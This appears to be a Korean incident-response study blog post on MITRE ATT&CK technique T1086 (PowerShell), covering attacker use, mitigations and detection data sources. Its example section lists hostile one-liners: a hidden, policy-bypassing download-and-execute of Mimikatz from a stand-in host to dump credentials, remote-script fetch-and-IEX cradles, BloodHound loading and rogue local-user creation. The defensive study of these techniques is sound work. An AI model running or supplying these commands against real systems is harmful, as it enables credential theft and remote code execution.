[Incident Response] T1086 PowerShell
(1) Execution이란?
-
공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력
-
로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성
-
절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용
-
예시
-
LNK 파일 내에 포함된 Powershell 명령 행 실행
-
스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도
-
(2) Powershell이란?
-
PowerShell은 Windows 운영체제에 포함된 강력한 대화식 명령줄 인터페이스 및 스크립팅 환경
-
공격자는 PowerShell을 사용하여 정보 검색 및 코드 실행을 비롯한 여러 작업 수행 가능
-
예로, 실행 파일을 실행하는 데 사용할 수 있는 Start-Process cmdlet과 로컬 또는 원격 컴퓨터에서 명령을 실행하는 Invoke-Command cmdlet이 있음
-
PowerShell은 디스크에서 디스크를 건드리지 않고, 디스크 또는 메모리에서 실행할 수 있는 인터넷에서 실행 파일을 다운로드하여 실행하는 데 사용될 수 있음
-
PowerShell을 사용하여 원격 시스템에 연결하려면 관리자 권한이 필요하며, Empire나 Powersploit 및 PSAttack를 포함하여 여러 PowerShell 기반 공격 테스트 도구 사용 가능
-
PowerShell 명령 스크립트는 .NET Framework 및 Windows Command-Line Interface(CLI)를 통해 노출되는 PowerShell의 기본 System.Management.Automation 어셈블리에 대한 인터페이스를 통해 powershell.exe 바이너리를 직접 호출하지 않고도 실행 가능
-
완화 방법으로는 코드 서명과 비활성화(기능 제거), 권한 계정 관리가 있음
-
코드 서명은 서명 된 스크립트만 실행하도록 PowerShell 실행 정책을 설정하는 것
-
비활성화(기능 제거)는 원격 실행에 PowerShell을 사용하지 못하도록 WinRM 서비스 비활성화(제한)
-
권한 계정 관리는 PowerShell이 필요한 경우, PowerShell 실행 정책을 관리자로 제한하는 것
(3) PowerShell 내용 정리
3-1. 정상 용도
-
Windows 운영체제에 포함된 가장 강력한 대화식 사용자 인터페이스
3-2. 악의적 사용
-
공격자는 정상 명령 행을 악용 (정보 검색, 코드 실행 등 수행)
-
파일 실행 - Start Process cmdlet
-
로컬 / 원격 컴퓨터에 명령 실행 : Invoke-Command cmdlet
-
인터넷에서 in-memory 다운로드 및 실행 가능 (Fileless Attack, Fileless Malware)
-
PowerShell 이용하여 원격 시스템 연결 가능 (Enable-PSRemoting -Force)
-
여러 가지 공격 프레임워크 존재 (Empire, PowerSploit, PSAttack, Etc)
3-3. 매개변수
-
.ps1 - PowerShell Script File
3-4. 예제
-
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://malware.mal/Mimikatz.ps1'); Invoke-Mimikatz - DumpCreds"
-
IEX (New-Object Net.WebClient).DownloadString('#{bloodurl}') Invoke-BloodHound
-
New-LocalUser -FullName '#{full_name}' -Name '#{user_name}' -Password #{password} -Description '#{description}'
-
powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX
-
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
-
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$xml.command.a.execute | IEX"
(4) PowerShell 기법 실습
-
이번 기법은 예제가 매우 많으므로, 간단하게 실습
-
해당 실습은 PowerShell을 이용하여 ADS 영역(숨겨진 영역)에 코드를 숨겨놓는 기법
(5) PowerShell 추가 내용
-
ID : T1086
-
전술 : Execution
-
플랫폼 : Windows
-
필요 권한 : User, Administrator
-
데이터 소스
-
PowerShell 로그
-
로드된 DLL
-
DLL 모니터링
-
Windows 레지스트리
-
파일 모니터링
-
프로세스 모니터링
-
프로세스 명령 줄 매개변수
-
-
원격 지원 가능
# Reference
https://attack.mitre.org/techniques/T1086/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1086/T1086.md
https://www.powershellempire.com/?page_id=106
'Incident Response > Execution' 카테고리의 다른 글
[Incident Response] T1170 Mshta (0) | 2020.05.27 |
---|---|
[Incident Response] T1118 InstallUtil (0) | 2020.05.27 |
[Incident Response] T1061 Graphical User Interface (0) | 2020.05.27 |
[Incident Response] T1203 Exploitation for Client Execution (0) | 2020.05.27 |
[Incident Response] T1173 Dynamic Data Exchange (0) | 2020.05.27 |